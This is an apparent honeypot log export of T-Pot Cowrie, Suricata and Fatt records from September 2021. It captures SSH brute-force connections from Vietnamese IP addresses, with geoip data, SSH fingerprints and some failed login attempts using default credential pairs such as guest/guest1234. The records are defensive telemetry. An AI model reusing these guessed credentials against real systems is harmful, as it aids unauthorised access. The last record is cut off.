22669	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:21.127963+03	2021-09-20 14:15:06.5095+03	{"_id": "9QbjAnwBvYTbRNuEkwnQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "034a2a98d6d7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:21.127963Z", "@timestamp": "2021-09-20T11:07:21.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22670	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:20.960192+03	2021-09-20 14:15:06.510509+03	{"_id": "9gbjAnwBvYTbRNuElgk7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 918478410647424, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57314, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.960192Z", "@timestamp": "2021-09-20T11:07:20.960Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22671	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:21.407021+03	2021-09-20 14:15:06.5125+03	{"_id": "-AbjAnwBvYTbRNuElgk7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 832351431615956, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57674, "dest_port": 22, "timestamp": "2021-09-20T11:07:21.407021Z", "@timestamp": "2021-09-20T11:07:21.407Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22672	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:21.313696+03	2021-09-20 14:15:06.513502+03	{"_id": "9wbjAnwBvYTbRNuElgk7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1886424452841599, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40870, "dest_port": 22, "timestamp": "2021-09-20T11:07:21.313696Z", "@timestamp": "2021-09-20T11:07:21.313Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22673	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.002006+03	2021-09-20 14:15:06.5145+03	{"_id": "-QbjAnwBvYTbRNuElwmv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:47292 (192.168.176.2:22) [session: 24b8d0efb722]", "session": "24b8d0efb722", "@version": "1", "protocol": "ssh", "src_port": 47292, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.002006Z", "@timestamp": "2021-09-20T11:07:22.002Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22674	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:22.028442+03	2021-09-20 14:15:06.5155+03	{"_id": "-gbjAnwBvYTbRNuElwmv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38694 (192.168.176.2:22) [session: 3c55230f4ee9]", "session": "3c55230f4ee9", "@version": "1", "protocol": "ssh", "src_port": 38694, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.028442Z", "@timestamp": "2021-09-20T11:07:22.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22675	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.03115+03	2021-09-20 14:15:06.5165+03	{"_id": "-wbjAnwBvYTbRNuElwmv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:58944 (192.168.176.2:22) [session: 3a9028970e07]", "session": "3a9028970e07", "@version": "1", "protocol": "ssh", "src_port": 58944, "dest_port": 22, "timestamp": "2021-09-20T11:07:22.031150Z", "@timestamp": "2021-09-20T11:07:22.031Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22676	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:07:20.96037+03	2021-09-20 14:15:06.5175+03	{"_id": "GgbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57314, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.960370", "@timestamp": "2021-09-20T11:07:20.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22677	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:21.36002+03	2021-09-20 14:15:06.5195+03	{"_id": "AwbjAnwBvYTbRNuElwqv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [service/service42] failed", "session": "779eb8f4bb9e", "@version": "1", "password": "service42", "username": "service", "timestamp": "2021-09-20T11:07:21.360020Z", "@timestamp": "2021-09-20T11:07:21.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22678	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:22.002835+03	2021-09-20 14:15:06.520502+03	{"_id": "BAbjAnwBvYTbRNuElwqv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "24b8d0efb722", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:22.002835Z", "@timestamp": "2021-09-20T11:07:22.002Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22679	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:21.261296+03	2021-09-20 14:15:06.52249+03	{"_id": "HAbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a46ea9b73856", "@version": "1", "duration": 2.8165290355682373, "timestamp": "2021-09-20T11:07:21.261296Z", "@timestamp": "2021-09-20T11:07:21.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22680	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:21.519184+03	2021-09-20 14:15:06.523503+03	{"_id": "HQbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "482f54a8b521", "@version": "1", "duration": 2.856459140777588, "timestamp": "2021-09-20T11:07:21.519184Z", "@timestamp": "2021-09-20T11:07:21.519Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22681	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:21.9586+03	2021-09-20 14:15:06.52547+03	{"_id": "JQbjAnwBvYTbRNuElwq1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:37968 (192.168.176.2:22) [session: 8c04553a1997]", "session": "8c04553a1997", "@version": "1", "protocol": "ssh", "src_port": 37968, "dest_port": 22, "timestamp": "2021-09-20T11:07:21.958600Z", "@timestamp": "2021-09-20T11:07:21.958Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22682	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:21.828474+03	2021-09-20 14:15:06.526501+03	{"_id": "HwbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [guest/guest1234] failed", "session": "96e31054e8cb", "@version": "1", "password": "guest1234", "username": "guest", "timestamp": "2021-09-20T11:07:21.828474Z", "@timestamp": "2021-09-20T11:07:21.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22683	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:21.84585+03	2021-09-20 14:15:06.527497+03	{"_id": "IAbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [pentaho/pentaho] failed", "session": "0fd9c92632ff", "@version": "1", "password": "pentaho", "username": "pentaho", "timestamp": "2021-09-20T11:07:21.845850Z", "@timestamp": "2021-09-20T11:07:21.845Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22684	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:22.013113+03	2021-09-20 14:15:06.529472+03	{"_id": "IQbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3da3fe3d376f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:22.013113Z", "@timestamp": "2021-09-20T11:07:22.013Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22685	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:22.033003+03	2021-09-20 14:15:06.5305+03	{"_id": "IwbjAnwBvYTbRNuElwqw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3c55230f4ee9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:22.033003Z", "@timestamp": "2021-09-20T11:07:22.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22686	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:21.102729+03	2021-09-20 14:15:06.532472+03	{"_id": "MAbjAnwBvYTbRNuElwq1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40870, "timestamp": "2021-09-20T11:07:21.102729", "@timestamp": "2021-09-20T11:07:21.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22687	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:21.40733+03	2021-09-20 14:15:06.5335+03	{"_id": "MQbjAnwBvYTbRNuElwq1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": 